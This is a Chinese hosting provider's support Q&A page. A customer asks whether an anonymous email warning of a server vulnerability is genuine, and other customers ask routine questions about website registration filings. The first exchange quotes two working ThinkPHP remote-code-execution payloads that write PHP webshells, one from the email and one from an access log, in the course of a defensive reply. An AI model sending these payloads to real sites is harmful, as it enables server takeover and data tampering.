問(wèn):你好,今天上午我方收到一封匿名郵件,提到咱們服務(wù)器有安全BUG,還請(qǐng)貴司看看這封郵件內(nèi)容到底是真的還是假的,以下是該郵件的全文內(nèi)容——我在貴站上發(fā)現(xiàn)了一個(gè)安全BUG,通過(guò)遠(yuǎn)程代碼執(zhí)行Shell提權(quán)寫入網(wǎng)站木馬到貴站根目錄甚至直接提權(quán)到服務(wù)器,從而拿到貴站服務(wù)器權(quán)限更改網(wǎng)站數(shù)據(jù)。s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_GET['code']);?>你可以讓你網(wǎng)站技術(shù)先自行檢測(cè)服務(wù)器
以上就是這封郵件的全文,還請(qǐng)貴司及時(shí)處理及回復(fù)我方。,關(guān)于我方收到一封自稱服務(wù)器存在安全BUG的郵件
答:您好,
127.0.0.1 – – [12/Apr/2020:22:15:53 0800] "GET //?s=index/\\\\think\\\\template\\\\driver\\\\file/write&cacheFile=p2SsQI38H2jfa951.php&content=%3C%3F%70%68%70%20%24%61%5B%27%62%27%5D%20%3D%20%27%61%73%73%65%72%74%27%3B%20%24%63%5B%5D%20%3D%20%24%61%3B%20%24%63%5B%30%5D%5B%27%62%27%5D%28%24%5F%50%4F%53%54%5B%27%5F%27%5D%29%3B%3F%3E%3C%3F%70%68%70%20%65%63%68%6F%20%27%65%63%68%6F%27%2E%27%54%68%69%6E%6B%50%48%50%27%3F%3E HTTP/1.1" 200 150045 "-" "Mozilla/5.0 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)" 127.0.0.1
我們查看了下訪問(wèn)日志,的確有這些路徑的異常請(qǐng)求。
建議您還是讓您的技術(shù)人員核實(shí)檢查一下,如果存在漏洞的話請(qǐng)及時(shí)修正。
另外站點(diǎn)數(shù)據(jù)和數(shù)據(jù)庫(kù)數(shù)據(jù)請(qǐng)盡量定期備份到本地,空間只提供了一次備份。
空間所在的服務(wù)器安全您不用擔(dān)心,我們會(huì)統(tǒng)一維護(hù)的。
非常感謝您對(duì)我司的支持,謝謝!
問(wèn):您好,新添加網(wǎng)站備案提示當(dāng)前狀態(tài)不能添加新的網(wǎng)站。請(qǐng)問(wèn)一下這個(gè)應(yīng)該怎么處理
答:您好,1,當(dāng)前賬戶下并未提交任何備案資料,可正常提交備案申請(qǐng);
2,如您無(wú)法提交,請(qǐng)將您填寫信息頁(yè)面和提示錯(cuò)誤頁(yè)面截圖提交至工單,以便為您準(zhǔn)確核實(shí)具體原因,非常感謝您對(duì)我們的支持!疫情期間,請(qǐng)您務(wù)必保護(hù)好自己和家人的健康,若有任何問(wèn)題請(qǐng)隨時(shí)聯(lián)系我們,三五互聯(lián)專人7*24小時(shí)值班,在疫情期間竭盡所能為您提供幫助!
問(wèn):您好,剛?cè)∠艘粋€(gè)備案信息,現(xiàn)在要新添加一個(gè),現(xiàn)在就提示不能新添加操作。 請(qǐng)問(wèn)一下取消備案大概需要多長(zhǎng)時(shí)間。
問(wèn):您好,查看到的顯示是預(yù)計(jì)1小時(shí)完成刪除網(wǎng)站的變更。
答:您好,1,賬戶下目前并無(wú)備案記錄,取消應(yīng)已完成,請(qǐng)重新提交備案申請(qǐng)?jiān)囋嚕?br />2,如提交時(shí)提示無(wú)法提交,請(qǐng)將提交信息頁(yè)面截圖提交至工單,以便為您準(zhǔn)確核實(shí);
3,取消備案管局官方回復(fù)審核時(shí)間為5個(gè)工作日,一般較快,如已無(wú)記錄就可以正常再重新提交備案申請(qǐng);
4,可提供您取消的域名、備案單位、備案號(hào)為您核實(shí)是否操作準(zhǔn)確,非常感謝您對(duì)我們的支持!疫情期間,請(qǐng)您務(wù)必保護(hù)好自己和家人的健康,若有任何問(wèn)題請(qǐng)隨時(shí)聯(lián)系我們,三五互聯(lián)專人7*24小時(shí)值班,在疫情期間竭盡所能為您提供幫助!